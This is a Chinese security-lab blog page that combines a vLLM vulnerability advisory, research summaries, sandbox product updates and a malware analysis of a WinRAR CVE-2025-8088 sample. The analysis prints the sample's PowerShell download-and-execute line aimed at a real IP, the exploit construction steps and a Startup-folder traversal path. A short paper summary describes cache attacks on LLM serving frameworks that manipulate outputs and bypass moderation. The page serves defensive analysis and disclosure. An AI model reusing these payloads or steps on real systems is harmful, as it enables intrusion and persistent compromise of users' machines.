  5. 精华奖励:发布文章并获取精华标签后,可以直接加入渗透测试、APP安全、IOT安全、威胁情报、红蓝对抗等相关领域核心众测群,参与平台私密众测项目。
  6. 无奖励:内容深度较浅或网上有一定公开类似、单纯的工具介绍使用则不予奖励。

内容奖励要求:

  1. 基础奖励在内容符合要求的前提下,阅读量不做要求
  2. 优秀奖励在内容符合要求的前提下,阅读量当月突破500
  3. 精华奖励在内容符合要求的前提下,阅读量当月突破1000(内容质量较高不受此条件限制)

奖励将在每月第一周公示并发放至火线安全平台账户,可在火线安全平台申请提现。
PS:文章通过后请联系“火线小助手”加入火线Zone创作者群,与其他创作者一起思想碰撞!

转载说明

为了维护原创作者的权益,确保内容的合法传播,特制定以下转载规则。在您希望转载火线Zone社区的文章时,请务必遵守以下指南:

  1. 版权声明:在您的平台上转载文章时,请明确标注【原文来自火线Zone、原文作者以及原文链接】。
  2. 转载声明:请在文章的显著位置注明以下声明:“本文经火线Zone授权发布,转载请联系火线Zone社区。”
  3. 内容修改:您可以对文章标题和内容进行适度修改,以适应您的平台风格,但请确保不改变文章的核心观点和主旨。
  4. 公众号转载:若您希望在微信公众号上转载,请先通过火线Zone社区的官方渠道申请授权。获得授权后,请在文章开头注明公众号信息,并在文末附上转载声明。
  5. 责任归属:转载文章产生的任何版权纠纷,由转载方自行承担。请尊重知识产权,未经授权的转载行为将被视为侵权。
  6. 独家代理:如果您是文章的原创作者,并且希望火线Zone作为您作品的独家代理,请在投稿时声明,并确保作品未在其他平台发布。
  7. 版权保证:投稿者需保证拥有所投稿件的完整著作权,并授权火线Zone及其关联平台进行发布和传播。
    我们期待与您共同维护一个尊重原创、鼓励分享的社区环境。感谢您的理解和支持!

加入社群

火线Zone已经开启外部粉丝社区群和城市技术社群,大家可在群内进行技术交流,但严禁发表与技术无关的和讨论政治相关内容

添加“火线小助手”,并发送以下关键字加入社区
并发送“社区群”可以加入火线Zone社区技术群
发送“同城群”可以加入火线Zone城市分群

向WooYun Zone、Drops致敬

:)

背景

vLLM 是一个高吞吐量、低内存占用的开源 Python 库,专为大型语言模型的推理和服务设计。它通过优化的内核和高效的资源管理,支持 AI 开发者在各种硬件平台上部署和运行大型语言模型,目前达到了46.4K的star数量。vLLM 的广泛应用使其成为 AI 社区的重要工具,但也因此成为攻击者的潜在目标。

2025 年 4 月 29 日,vLLM 项目发布了安全更新,修复了多个安全漏洞。奇安信星图实验室的安全研究员协助 vLLM 项目修复了其中三个关键漏洞,分别是 CVE-2025-32444、CVE-2025-46560 和 CVE-2025-30202。这些漏洞可能被攻击者利用,引发拒绝服务攻击或远程代码执行,对使用 vLLM 的系统构成严重威胁。其中CVE-2025-32444的CVSS评分达到严重(10.0),成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

漏洞详情

CVE-2025-32444

vLLM Mooncake 集成远程代码执行漏洞

  • 严重性:严重
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H(10.0)
  • 受影响版本:>= 0.6.5, < 0.8.5
  • 已修复版本:0.8.5

描述: vLLM 在与 Mooncake 集成时,使用不安全的 pickle 序列化通过 ZeroMQ 套接字传输数据。由于这些套接字监听所有网络接口,未经身份验证的攻击者可以连接到开放端口并发送恶意 pickle 数据,从而在 vLLM 服务器上执行任意代码。此漏洞的攻击复杂度低,且无需用户交互,风险极高。

影响: 仅使用 Mooncake 集成的 vLLM 实例受此漏洞影响。成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

代码位置: https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179

CVE-2025-46560

vLLM input_processor_for_phi4mm 函数二次时间复杂度漏洞

  • 严重性:中等
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H(6.5)
  • 受影响版本:>= 0.8.0, < 0.8.5
  • 已修复版本:0.8.5

描述: 在 vLLM 的 input_processor_for_phi4mm 函数中,存在二次时间复杂度(O(n²))的问题。攻击者可以通过构造包含大量占位符的输入数据,导致处理时间呈平方级增长,从而耗尽 CPU 或内存资源,引发拒绝服务攻击。例如,处理 10,000 个占位符可能导致约 1 亿次操作,显著降低系统性能。

影响: 此漏洞允许具有网络访问权限的攻击者在无需高级权限的情况下触发拒绝服务,影响 vLLM 服务的可用性。

代码位置: https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/model_executor/models/phi4mm.py#L1182-L1197

CVE-2025-30202

vLLM ZeroMQ XPUB 套接字配置不当漏洞

  • 严重性:高
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5)
  • 受影响版本:>= 0.5.2, < 0.8.5
  • 已修复版本:0.8.5

描述: 在多节点 vLLM 部署中,ZeroMQ XPUB 套接字被配置为绑定到所有网络接口,允许未经授权的客户端连接并接收内部 vLLM 状态数据。攻击者可通过发送大量连接请求或恶意数据包,减缓或阻塞发布者进程,从而引发拒绝服务攻击。

影响: 此漏洞可能导致 vLLM 服务性能下降或完全不可用,影响多节点部署的稳定性。攻击者无需认证即可利用此漏洞。

代码位置

建议措施

为确保系统安全,vLLM 用户应采取以下措施:

  1. 立即更新:将 vLLM 更新到版本 0.8.5 或更高版本,以修复所有上述漏洞。更新说明可参考 vLLM 官方文档。
  2. 临时缓解措施
    1. GHSA-hj4w-hm2g-p6w5:确保 vLLM 服务器不暴露在不受信任的网络中,并通过防火墙限制对 ZeroMQ 套接字的访问。
    2. GHSA-9f8f-2vmf-885j:配置防火墙规则,仅允许受信任的主机访问 XPUB 套接字使用的 TCP 端口(端口为随机分配,需检查配置)。
  3. 网络隔离:将 vLLM 部署在受控网络环境中,避免直接暴露在公共互联网上。

相关链接

漏洞影响评估

以下表格总结了三个漏洞的关键信息:

漏洞 IDCVE ID严重性受影响版本已修复版本主要影响
GHSA-vc6m-hm49-g9qgCVE-2025-46560中等>= 0.8.0, < 0.8.50.8.5拒绝服务(DoS)
GHSA-hj4w-hm2g-p6w5CVE-2025-32444严重>= 0.6.5, < 0.8.50.8.5远程代码执行(RCE)
GHSA-9f8f-2vmf-885jCVE-2025-30202>= 0.5.2, < 0.8.50.8.5拒绝服务(DoS)

技术背景

vLLM 的设计依赖于高性能的分布式计算和网络通信,特别是在多节点部署中使用了 ZeroMQ 等技术。然而,网络接口配置不当或序列化机制的不安全使用可能引入严重的安全风险。例如,pickle 序列化在 Python 中因其可执行任意代码的特性而被认为不安全,尤其是在未受信任的网络环境中。类似地,ZeroMQ 套接字的默认配置可能导致意外的数据暴露或资源耗尽。

社区响应

vLLM 项目团队迅速响应了这些漏洞报告,并在 0.8.5 版本中发布了修复补丁。社区用户被鼓励通过 vLLM GitHub 仓库 跟踪更新,并参与漏洞报告和修复工作。vLLM 还计划在未来的版本中增强安全设计,例如改进网络配置验证和序列化安全性。

结论

这些漏洞的发现和修复凸显了开源软件安全的重要性。vLLM 作为 AI 领域的重要工具,其安全性直接影响众多应用场景。通过奇安信星图实验室和 vLLM 社区的协作,这些高危漏洞得以迅速修复,保障了用户系统的安全。用户应保持警惕,及时更新软件,并遵循最佳安全实践以降低风险。

在刚刚结束的网络安全国际顶级会议46th IEEE Symposium on Security and Privacy(简称 IEEE S&P 2025)中,奇安信技术研究院星图实验室的研究成果在会议中进行了分享报告。

IEEE S&P 2025 共收到 1740 篇投稿,最终录用 257 篇,录用率仅为 14.8%。作为信息安全四大顶级学术会议之一,IEEE S&P 长期代表着全球网络与系统安全研究的最新进展与前沿方向,受到学术界与工业界的高度关注。

来自星图实验室的安全研究员周嘉炜同学在大会上分享了题为《Hey, Your Secrets Leaked! Detecting and Characterizing Secret Leakage in the Wild》的研究工作,聚焦软件供应链中的密钥检测技术。该成果由东南大学、奇安信技术研究院星图实验室与清华大学联合完成,由东南大学周嘉炜同学通过国家卓越工程师培养项目,在星图实验室联合培养期间主导完成。

为全面评估多平台下的密钥泄漏风险,该工作从 GitHub、PyPI 和微信小程序等主流平台采集数据,并构建了一个覆盖代码、配置、日志等多类型文件的密钥基准数据集,从而为后续研究提供了可靠的评测基础。

此外,该工作设计并实现了密钥检测系统 KEYSENTINEL。该系统在提取规则方面进行了有针对性的设计与优化:针对结构化密钥,改进了现有匹配模式;对于非结构化或人为设置的密钥,引入前缀匹配、字符串位置关系和子串特征分析等方法,提升提取的准确性。为有效降低误报率,KEYSENTINEL 采用了多层次的混合过滤机制,包括基于语法结构的完整性校验、分段熵过滤、语义分析以及基于 TextCNN 的模型识别,并结合启发式前缀过滤策略进行进一步筛选。实验结果表明,KEYSENTINEL 在检测准确率上达到 91.18%,F1 值为 0.86,显著优于现有主流工具。

最后,该工作开展了大规模、跨平台的密钥泄露测量与风险分析。通过对来自 GitHub、PyPI 和微信小程序平台的逾 8000 万个文件进行扫描分析,发现约 30% 的项目存在密钥泄露风险。进一步的版本演化分析表明,85.91% 的 PyPI 软件包在更新过程中未能清除历史密钥,暴露出版本控制和发布流程中的安全隐患。此外,该工作将 KEYSENTINEL 应用于某企业内部代码库,结果发现其中 36.5% 的密钥仍然处于有效状态,且 23.7% 的密钥存在生产与测试环境复用的情况,进一步揭示了当前实际开发流程中密钥管理存在的问题和面临的挑战。

相关研究成果已在奇安信内部系统中落地应用,有效支撑了企业级代码安全审计与风险防控。

星图实验室协助vLLM项目修复多个高危漏洞)

在软件开发流程中,代码编译是不可或缺的一环。面对日益增长的开源项目规模和复杂性,手动进行仓库级编译往往伴随着效率低下和错误频发的问题。如何有效应对环境配置、依赖管理及编译错误等挑战,是当前自动化软件分析领域的一个重要课题。今天,我们很高兴向大家介绍一项由奇安信星图实验室中国科学技术大学共同参与的研究项目——CompileAgent,这项工作已成功中稿ACL 2025!它是一个基于大型语言模型(LLM)的智能体框架,旨在探索仓库级代码编译的自动化方案。

仓库级编译的挑战

与简单的单文件编译不同,对整个代码仓库进行编译涉及复杂的构建配置和多文件间的相互依赖。开发者们在这一过程中常遇到诸多难题,例如查找准确的编译指令、处理依赖冲突、解决环境不匹配以及代码兼容性问题等。这些挑战使得自动化编译成为一个复杂且有待深入探索的领域。

CompileAgent:一个LLM驱动的仓库级自动化编译框架

受到LLM在自动化复杂任务方面应用前景的启发,我们提出了CompileAgent——首个专为仓库级代码编译任务设计的LLM智能体框架。它旨在通过模拟开发者的编译工作流,自主地搜索编译指令并解决编译过程中出现的错误。

CompileAgent的关键组成:

CompileAgent集成了五种工具和一个流式代理策略,主要通过以下两个核心模块协同工作:

  • CompileNavigator(编译导航模块):负责在代码仓库中寻找并提取正确的编译指令。它利用Shell工具与交互环境进行操作,通过文件导航器(File Navigator)识别可能包含指令的文件,并借助指令提取器(Instruction Extractor)从文件中提炼出编译步骤,甚至从相关URL获取网页内容进行汇总。
  • ErrorSolver(错误解决模块):专用于处理项目构建过程中遇到的编译错误。它包含网页搜索(Website Search)工具,能够查询在线资源(如GitHub和StackOverflow)以获取解决方案。此外,它还采用了多智能体讨论(Multi-Agent Discussion)机制,多个LLM智能体通过多轮讨论,共同分析复杂的编译错误并生成初始解决方案,直到达成共识。

CompileAgent遵循一种流式代理策略,该策略定义了工具的使用顺序,并通过提示词实现工具间的无缝衔接。

CompileAgent系统架构图

实验效果

我们构建了CompileAgentBench,一个包含100个C/C++项目的仓库级编译基准,使用七个主流LLM驱动CompileAgent进行了评估。实验结果显示了CompileAgent的有效性:

  • 编译成功率提升:相较于现有的基线方法(OSS-FuZZ-Gen)和针对辅助编译而构建的方案(Readme-Al 和 RAG),CompileAgent的编译成功率提升了17%至71%。例如,在Claude-3.5-sonnet模型上,成功率提升了71%。
  • 编译时间减少: 编译总时间可减少最多121.9小时。

成本效益: 平均每个项目的编译成本约为0.22美元。

CompileAgent实验结果对比图

讨论与未来潜力

CompileAgent的实践经验表明,LLM智能体在处理复杂的软件工程任务方面具有潜力。这项工作在多个领域提供了启发意义:

  • 自动化CI/CD: 仓库级自动化编译是持续集成/持续部署(CI/CD)流程中的关键一步。CompileAgent的成功经验为构建更智能、更自主的CI/CD流水线提供了新的思路。
  • 自动化程序分析: 编译成功所生成的二进制文件或库可用于后续的性能测试、优化和安全漏洞分析。CompileAgent也可以继承编译时代码分析工具(如Coverity Scan和Scan-Build),可以进一步提升自动化程序分析的效率和可靠性。
  • 软件标准测试环境自动化构建: 通过自动完成复杂的编译过程,CompileAgent有助于快速搭建和维护标准化的软件测试环境,降低环境配置的难度和耗时。
  • 多语言与跨架构编译: 借助其可扩展性,CompileAgent有望支持多语言(如Go、Rust等)和多架构(如MIPS、ARM等)的编译,从而拓展其应用范围。

CompileAgent的工作为LLM在真实世界软件工程领域的应用打开了新的视角。我们期待它能在未来的自动化开发实践中发挥更大的作用。

实践应用

实际上,CompileAgent在我们先前发布的ReCopilot项目的数据构建过程中起到了重要作用。我们使用它自动化编译了上百个开源项目,构建了9,733个 artifact-level 二进制文件,节省了约7人天的枯燥劳动时间,模型推理开销仅约100元人民币。

「ReCopilot由奇安信技术研究院星图实验室研发, 是一个基于大模型的二进制程序分析辅助系统,利用人工智能增强逆向工程工作流程,为人类逆向工程师提供帮助以提升效率。公开Demo:https://tqgpt.qianxin.com/recopilot

更多参考

想了解更多技术细节?欢迎阅读我们的学术论文或访问项目主页:

感谢您的阅读,期待CompileAgent能为您的研究带来启发!

一、简介

近期,WinRAR 曝出存在目录穿越漏洞(CVE-2025-8088),攻击者可构造恶意压缩包实现目录穿越,将任意文件写入到系统盘的任意位置。攻击者利用此漏洞可将恶意载荷(Payload)释放到 Windows 系统的“启动”文件夹下,当用户下次登录系统时,恶意代码将被自动执行,攻击者可获得主机的持久化控制权。该漏洞影响所有版本号 < 7.13 的 WinRAR,建议各位读者立即升级至 WinRAR 7.13 或更高版本。

自漏洞曝出,天穹团队积极扫描线上样本,检测到存在利用 CVE-2025-8088 的压缩包恶意样本,沙箱已于第一时间对该攻击样本进行分析,并确认天穹沙箱可以有效检测利用此漏洞的恶意行为,保护用户免受其害。

二、样本信息

  • 样本名:【内部资料】研发部门员工薪资单.rar
  • SHA1:67F6B3530D0D017040873246B4A592F09470FFCC
  • 文件类型:RAR Archive Data (v5)
  • 诱饵文件:【内部资料】研发部门员工薪资单.txt
  • 关联载荷:start.bat

三、样本分析

行为分析

该压缩包内部包含一个名为【内部资料】研发部门员工薪资单.txt的诱饵文件和一个名为 start.bat 的 Payload 文件,使用包含 CVE-2025-8088 漏洞的 WinRAR 解压该样本时将执行以下操作:

  • 在当前目录释放诱饵文件【内部资料】研发部门员工薪资单.txt
  • 在用户自启动目录释放 start.bat 文件,其内容为远程执行 PS1 文件。

当受害者重启电脑后,释放在自启动目录的 bat 文件会被执行触发恶意行为。

沙箱分析

将该样本投递至天穹沙箱,从压缩包检测部分可以看到,沙箱准确识别出漏洞信息诱饵文件恶意载荷路径,如图1所示。

图1 压缩包检测

通过动态分析可以看到,沙箱检测到样本将 start.bat 写入 c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 目录,且进程的执行者为 winrar.exe,如图2所示。

图2 创建开启自启动脚本

单独分析 BAT 脚本,解密后其主体内容如下:

1IEX (New-Object System.Net.WebClient).DownloadString(‘http://47.82.111.137:666/reflection.ps1’)

由动态分析进程树部分可见,沙箱捕获到样本执行 Powershell 命令,如图3所示。

图3 执行Powershell命令

样本尝试下载并执行该 ps1 文件,如图4所示。

图4 远程下载ps1脚本并执行

由于该下载地址已死亡,无法进一步分析后续行为。

漏洞利用攻击链分析

该漏洞的核心利用方式是将 RAR5 文件头篡改与 NTFS 备用数据流(ADS)相结合。

  1. 载荷隐藏:攻击者首先将恶意载荷(如 1.bat )附加到一个无害的诱饵文件(如 decoy.txt )的 NTFS 备用数据流(ADS)中,这使得载荷在文件管理器中不可见,增加了隐蔽性。
  2. 构造基础包:攻击者使用官方的 WinRAR 命令行工具,将被附加了 ADS 的诱饵文件正常打包。这一步骤中 RAR 文件会记录下 ADS 的流名称,需要注意的是,WinRAR 在打包时禁止写入 ../ 这类可能造成目录穿越的路径,所以此处会先用占位符填充,如 X,但需要保证路径长度和修改后的路径长度一致,这样便于后续填充,如图5所示。
图5 原始RAR文件
  1. 路径篡改:这是最关键的一步。攻击者以二进制方式打开上一步骤生成的 RAR 文件,在文件头(File Header)中搜索记录 ADS 流名称的位置,并将其替换为精心构造的路径遍历字符串,例如:..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat
  2. 校验和修复:直接修改文件头会破坏文件 CRC32 校验和,导致 WinRAR 报错。为了使恶意压缩包能够被正常解压,攻击者会重新计算被篡改过的文件头的 CRC32 值写回文件,如图6所示。
图6 修改后的RAR文件

文件分析

通过分析发现,该样本使用了 \..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 进行目录穿越,当用户在 DownloadsDocumentsDesktop 和其他类似目录解压时,可顺利将 bat 脚本释放到用户自启动目录,如图7所示。此攻击方式的优点是无需知晓用户名,且用户下载压缩包时通常保存的目录就在 Downloads 目录。

图7 目录穿越路径

四、IOC

恶意文件(SHA256)

15123d998f3f2c1c6bead26f9ea102b5e46710cf1b0699f9b455a80af8e383155

恶意链接

1http[:]//47.82.111.137[:]666/reflection.ps1

报告链接

漏洞利用分析报告:天穹沙箱分析报告

压缩包文件分析报告:天穹沙箱分析报告

一、升级与优化

天穹智能分析平台近期完成全面升级,新增多项功能,并根据用户反馈进行了系统性优化。本次升级重点体现在以下三个方面:

  1. 情报智能体正式上线;
  2. 智能问答响应速度显著提升;
  3. 样本与网络地址详情页全面更新。

平台地址:天穹智能分析平台

接下来,我们将详细介绍每一项升级内容。

二、情报智能体正式上线

在此前的更新中,我们已经通过天穹沙箱的智能拓线功能初步体验了智能体的便捷与强大。本次更新,我们正式将情报智能体引入智能搜索,极大提升了智能体在面对复杂问题的处理能力,并能进一步提升回答深度和广度。

下面,我们以情报狩猎固件下载三个领域为示例,演示在哪些场景可开启智能体,以及如何使用智能体。

情报分析

例如,我们要求智能体针对以下情报问题进行深度分析:

🔍 分析APT37组织在过去一年的活动,并对收集的IOC进行分析和拓线

在搜索框输入问题,点击智能体按钮,即可开启智能体模式,如图1所示:

图1 开启智能体模式

接下来,我们会进入智能体页面,智能体首先会根据问题制定一份详细的方案,此模式为计划模式,如图2所示:

图2 计划模式

询问用户是否确认此方案,如图3所示:

图3 方案确认

如果对方案不满意,可以选择否,并提出其他需求。例如,我们要求智能体进一步查询样本的沙箱分析报告,如图4所示:

图4 修改方案

将需求发送后,智能体会重新制定一份方案。如图5所示,在新的方案中已经包含了提的新需求:

图5 按照要求重新制定方案

确认方案后,智能体将进入执行模式

在页面左侧天穹智能体部分,我们可以看到智能体的工具调用信息,包括工具名、调用参数和工具返回结果,如图6所示:

图6 工具调用

在右侧的智能体思维链部分,我们可以看到智能体对每一轮操作的描述和总结,方便随时查看智能体任务进度,如图7所示:

图7 智能体思维链

值得一提的是,本次升级上线了12款MCP工具,涵盖以下四个领域:

  • 情报检索
  • APT组织画像
  • 样本拓线
  • IOC查询

后续我们会持续关注与更新,引入更多强大和实用的MCP工具,进一步拓展智能体的能力边界。另外,您可以查看工具调用参数、返回结果和思维链,深入了解MCP工具和智能体。

任务完成后,右侧将展示完整的分析报告,顶部可复制、全屏查看、下载报告,如图8所示。此前的思维链将默认折叠,可滑动到报告底部展开查看。

图8 智能体分析报告

以下是智能体生成的完整分析报告,可看到智能体收集了一年以来有关APT37组织的情报,给出了详细的攻击时间线,并按照要求对IOC进行进一步拓线分析,如图9所示:

图9 APT37分析报告

如果对输出报告不满意,可以要求智能体进一步修改,如图10所示,智能体将重新生成报告,此处不再赘述。

图10 答案确认

威胁狩猎

在日常样本分析过程中,我们常常需要搜索特定名称、家族、时间范围等特征的样本,例如:

🔍 收集近期文件名中包含”名单”、“票”或“简历”的高危样本

可以看到,智能体不仅准确列出了样本IOC信息,还按照静态、动态对样本进行分类,并进一步对样本进行了关联分析,输出内容详实可靠,如图11所示:

图11 威胁狩猎报告

固件下载

对于IoT设备分析人员而言,精准定位特定型号与版本的官方固件下载地址是开展安全研究的关键前置步骤。例如:

🔍 查找 TP-Link Archer VR400 固件下载地址

智能体成功识别并汇总了该设备多个官方固件版本的下载链接,同时标注了每个固件的文件大小,便于用户快速比对与选择。更重要的是,智能体还对所有链接进行了威胁情报筛查,主动过滤非官方来源、第三方托管或已失效的链接,确保结果安全、可靠、有效,显著提升研究人员的工作效率与安全性,如图12所示。

图12 固件下载报告

三、响应速度显著提升

通过持续资源升级与模型优化,智能问答的响应速度大幅提升,回答耗时由原来的1分30秒缩短至30秒,如图13所示。

图13 速度对比

四、详情页全面更新

此前版本的样本和网络地址详情页存在信息密度低、内容不全的问题,经过全面改进,新版详情页信息密度显著提升,能够展示更多高价值数据,以下是具体的升级内容。

样本详情页

样本详情页在升级后,可以更加便捷的查看样本关联情报、引擎告警、静态信息、网络行为、沙箱报告和威胁配置,如图14所示:

图14 样本详情页升级前后对比

网络详情页

网络地址详情页在升级后,可以更加便捷的查看网络地址关联情报、关联样本、和 Whois 信息,如图15所示:

图15 网络详情页升级前后对比

五、 技术支持与反馈

天穹智能分析平台持续迭代升级,致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。

如果您希望深入了解平台功能,或在使用过程中遇到任何问题,欢迎随时联系我们。您的反馈,是我们进步的重要动力!

一、概述

在 Windows 系统中,压缩包(如 RAR、ZIP、7z 等)作为常见的文件分发载体,因其便捷性和通用性被广泛使用。然而,攻击者常利用压缩软件的目录穿越漏洞(如 CVE-2025-8088),通过构造恶意压缩包将恶意载荷写入系统关键路径(如启动项、系统目录等),实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大,且传统静态检测难以有效识别。

为应对这一威胁,天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为,实时捕获文件写入路径,精准识别包含 ..\、绝对路径、UNC 路径等高危操作,有效还原攻击者的真实意图。

二、目录穿越攻击常见手法

当前主流压缩包目录穿越攻击主要包括以下几类:

  1. 路径遍历(Path Traversal)压缩包内构造包含 ..\..\..\ 的文件路径,诱导解压程序将文件写入非预期目录。例如:1
    ..\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe
  2. 绝对路径写入部分压缩格式(如 RAR)支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径,绕过用户预期目录限制。
  3. UNC 路径利用通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径,绕过常规路径校验逻辑,实现任意位置写入。

三、样本分析

样本上传

上传样本到天穹沙箱,即可快速准确地检测未知样本恶意行径,操作步骤如下:

  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
图1 分析配置

上传样本,点击上传区域选择样本上传或将样本拖至上传区域即可上传样本,如图 2 所示,等待沙箱分析结束。

图2 上传样本

检测能力

样本一:7z目录穿越利用(CVE-2025-11001)

报告链接:天穹沙箱分析报告

漏洞原理:CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接(Symbolic Links)时存在安全缺陷。具体来说,当 7-Zip 解压包含符号链接的 ZIP 文件时,未能正确验证符号链接指向的目标路径,导致攻击者可以构造恶意的 ZIP 压缩包,其中包含指向系统关键目录(如系统目录、程序目录等)的符号链接。

经天穹沙箱分析,在 7z 解压过程中捕获到以下行为,如图 3 所示:

  • 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe
  • 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\
  • 沙箱触发“目录穿越”高危告警。
图3 目录穿越检测

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息,如图 4 所示,智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息,并以脑图形式直观展示分析结果之间的关联和层级结构。

图4 天穹智能体解读

样本二:winrar 目录穿越利用(CVE-2025-8088)

报告链接:天穹沙箱分析报告

漏洞原理:WinRAR 在解析压缩文件时存在路径校验逻辑缺陷,未对压缩包内嵌的 NTFS 备用数据流(ADS)及路径跳转符号(如 ..\)进行严格过滤。攻击者可利用此缺陷构造恶意压缩包,通过 ADS 特性隐藏恶意文件,并结合路径遍历技术突破解压目录限制,最终将文件写入系统敏感路径(如启动目录)。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径,如图 5 所示:

  1. 触发解压:用户双击恶意压缩包,系统调用 WinRAR.exe 启动解压流程;
  2. 路径篡改:WinRAR 在解析压缩包时,未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令(如 ..\Startup\payload.exe),将目标解压路径动态指向系统启动目录(C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup);
  3. 越权写入:WinRAR 绕过用户指定的解压目录(如 C:\Downloads),直接将恶意文件写入启动目录,完成持久化驻留。
图5 目录穿越检测

四、IOC

恶意文件(SHA256)

1
2
ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

报告链接

样本一分析报告:天穹沙箱分析报告

样本二分析报告:天穹沙箱分析报告

近日,国际顶级学术会议 NDSS 2026(Network and Distributed System Security Symposium)公布录用结果,奇安信技术研究院合作完成的5篇论文成功被录用。NDSS 2026将于2026年2月23日至27日在美国圣地亚哥举办。此次多篇论文被录用,充分展现了奇安信技术研究院在网络安全前沿技术研究领域的深厚实力。

1. 大语言模型(LLM)推理服务框架中的缓存安全问题

第一篇论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作,论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和曲海鹏教授(中国海洋大学),其他作者为陈国强(奇安信星图实验室),谷雅聪(清华大学)。这项研究聚焦于大语言模型(LLM)推理服务框架中的安全威胁,深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

这项工作揭示了上述机制中严重的安全隐患:攻击者可利用这些漏洞操纵模型输出,实施数据投毒,甚至绕过现有的安全审核与防御体系。团队在 vLLM、SGLang 和 GPTCache 等主流推理服务框架中定位到了具体的实现缺陷,并提出了针对性的修复方案。目前,相关漏洞已被厂商确认并修复,因此获得了 3 个 CVE 漏洞编号,为提升 LLM 基础设施的安全性做出了实质性贡献。

2. npm 生态漏洞传播影响分析

第二篇论文是由奇安信技术研究院和清华大学合作完成的关于软件供应链安全的工作。论文题目为《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》,作者为蒲应元(奇安信星图实验室)、应凌云(奇安信星图实验室)和谷雅聪(清华大学)。这项研究提出了基于函数调用关系的细粒度漏洞传播关系识别方法,结果表明传统的基于包依赖关系识别的漏洞影响结果中约 70% 都是误报。

npm作为全球最大的开源软件生态,其错综复杂的依赖关系使得漏洞极易在供应链中传播,给软件安全带来巨大隐患。现有的包级别软件成分分析(SCA)工具普遍存在严重的误报问题,无法区分漏洞代码是否真实被调用,同时现有的函数级分析工具在面对大规模生态时,往往面临计算成本过高和对JavaScript动态特性支持不足等瓶颈。为解决这些问题,我们设计开发了 VulTracer,一款面向npm生态的高精度、可扩展的函数级漏洞传播分析框架。该工具创新性地提出了“一次分析,多次复用”的模块化分析模式,通过对每一个 npm 包构建不可变的富语义图(RSG)、提取形式化接口以及按需组合合成技术,成功解决了大规模静态分析中的性能与精度挑战。

同时,VulTracer基于全量npm生态(覆盖3400万个npm 包版本,超 9 亿条依赖关系)进行了迄今为止最大规模的函数级漏洞影响实证研究。实验结果表明,该工具在调用图构建上达到了0.905的F1分数(SOTA),相比npm audit降低了94%的误报率;同时研究结果进一步揭示,现有包级别分析工具产生的警报中 68.28% 均为“噪声”(即漏洞代码不可达),且真实的漏洞传播往往随依赖层级加深而迅速衰减。该工作为缓解开发者的警报疲劳提供了切实可行的技术路径,使安全修复工作能聚焦于真实存在的威胁。

3.JavaScript脚本的自动化反混淆

第三篇论文是由奇安信技术研究院和北京邮电大学合作完成的关于JavaScript反混淆的工作。论文题目为《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》,这项工作由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和王东滨教授(北京邮电大学),参与该项工作的还有柴华君(奇安信星图实验室)。这篇论文也是我们继PowerPeeler (CCS 2024)和Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。

